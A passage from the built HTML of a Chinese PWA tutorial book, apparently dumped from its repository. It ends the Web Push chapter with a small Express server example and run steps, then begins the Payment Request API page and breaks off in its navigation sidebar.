string\">&apos;index.html&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\napp<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/entry.js&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">req<span class=\"token punctuation\">,</span> res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  res<span class=\"token punctuation\">.</span><span class=\"token function\">sendFile</span><span class=\"token punctuation\">(</span>path<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>__dirname<span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;entry.js&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\napp<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/service-worker.js&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">req<span class=\"token punctuation\">,</span> res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  res<span class=\"token punctuation\">.</span><span class=\"token function\">sendFile</span><span class=\"token punctuation\">(</span>path<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>__dirname<span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;service-worker.js&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x542F;&#x52A8;&#x670D;&#x52A1;&#x5668;</span>\napp<span class=\"token punctuation\">.</span><span class=\"token function\">listen</span><span class=\"token punctuation\">(</span><span class=\"token number\">80</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x670D;&#x52A1;&#x7AEF;&#x542F;&#x52A8;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x51C6;&#x5907;&#x597D;&#x4E0A;&#x8FF0;&#x6587;&#x4EF6;&#x4E4B;&#x540E;&#xFF0C;&#x914D;&#x7F6E;&#x5B8C;&#x6210;&#x540E;&#x901A;&#x8FC7;&#x4EE5;&#x4E0B;&#x547D;&#x4EE4;&#x542F;&#x52A8;&#x793A;&#x4F8B;&#xFF0C;&#x5728;&#x770B;&#x5230;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8F93;&#x51FA; <code>Server start on: http://127.0.0.1:8088</code>&#xFF0C;&#x610F;&#x5473;&#x7740;&#x5DF2;&#x7ECF;&#x6210;&#x529F;&#x542F;&#x52A8;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x5B89;&#x88C5;&#x6210;&#x529F;&#x540E;&#x542F;&#x52A8; chapter06/web-push &#x793A;&#x4F8B;</span>\n\n$ <span class=\"token function\">npm</span> run server\n</code></pre>\n<p>&#x8FD9;&#x65F6;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8088</code> &#x4FBF;&#x5F00;&#x59CB;&#x6CE8;&#x518C; Service Worker&#x3001;&#x83B7;&#x53D6;&#x684C;&#x9762;&#x901A;&#x77E5;&#x6743;&#x9650;&#x3001;&#x8BA2;&#x9605;&#x63A8;&#x9001;&#xFF1B;&#x4E4B;&#x540E;&#x5173;&#x95ED;&#x7F51;&#x9875;&#xFF0C;&#x6BCF;&#x95F4;&#x9694; 10 &#x5206;&#x949F;&#xFF0C;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x90FD;&#x4F1A;&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x6D88;&#x606F;&#xFF0C;&#x540C;&#x65F6;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x5C06;&#x518D;&#x5C06;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x81F3;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x5230;&#x6D88;&#x606F;&#x4E4B;&#x540E;&#x5C06;&#x5F39;&#x51FA;&#x684C;&#x9762;&#x901A;&#x77E5;&#xFF0C;&#x663E;&#x793A;&#x6587;&#x6848; &#x201C;&#x6211;&#x53EB;&#x674E;&#x96F7;&#xFF0C;&#x5F88;&#x9AD8;&#x5174;&#x8BA4;&#x8BC6;&#x4F60;&#x201D; &#xFF1B;&#x63A5;&#x7740;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x4E4B;&#x540E;&#xFF0C;&#x5C06;&#x81EA;&#x52A8;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#x540C;&#x65F6;&#x6253;&#x5F00; <code>http://127.0.0.1:8088</code>&#x3002;</p>\n<p>&#x8FD9;&#x6837;&#xFF0C;&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x5C31;&#x5B9E;&#x73B0;&#x4E86;&#x79BB;&#x7EBF;&#x684C;&#x9762;&#x901A;&#x77E5;&#x7684;&#x5C55;&#x793A;&#x4EE5;&#x53CA;&#x5F15;&#x5BFC;&#x7528;&#x6237;&#x6253;&#x5F00;&#x9875;&#x9762;&#x56DE;&#x5230;&#x7AD9;&#x70B9;&#x7684;&#x6D41;&#x7A0B;&#x3002;&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x7C97;&#x7CD9;&#x7684;&#x529F;&#x80FD;&#x6F14;&#x793A;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x987A;&#x7740;&#x601D;&#x8DEF;&#x4E0E;&#x5177;&#x4F53;&#x7684;&#x9879;&#x76EE;&#x9700;&#x6C42;&#x53BB;&#x6D3B;&#x5B66;&#x6D3B;&#x7528;&#x8FD9;&#x4E2A;&#x5F3A;&#x5927;&#x7684;&#x529F;&#x80FD;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-notification-api.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 6.3 桌面通知\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"5-payment-request-api.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 6.5 Payment Request API\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"6.4 网络推送\",\"level\":\"1.7.4\",\"depth\":2,\"next\":{\"title\":\"6.5 Payment Request API\",\"level\":\"1.7.5\",\"depth\":2,\"path\":\"chapter06/5-payment-request-api.md\",\"ref\":\"chapter06/5-payment-request-api.md\",\"articles\":[]},\"previous\":{\"title\":\"6.3 桌面通知\",\"level\":\"1.7.3\",\"depth\":2,\"path\":\"chapter06/3-notification-api.md\",\"ref\":\"chapter06/3-notification-api.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter06/4-web-push-api.md\",\"mtime\":\"2019-06-19T10:37:42.263Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter06/5-payment-request-api.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>6.5 Payment Request API · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter07.html\" />\n    \n    \n    <link rel=\"prev\" href=\"4-web-push-api.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"1-manifest-json.html\">\n            \n                <a href=\"1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"2-credentials-api.html\">\n            \n                <a href=\"2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"3-notification-api.html\">\n            \n                <a href=\"3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                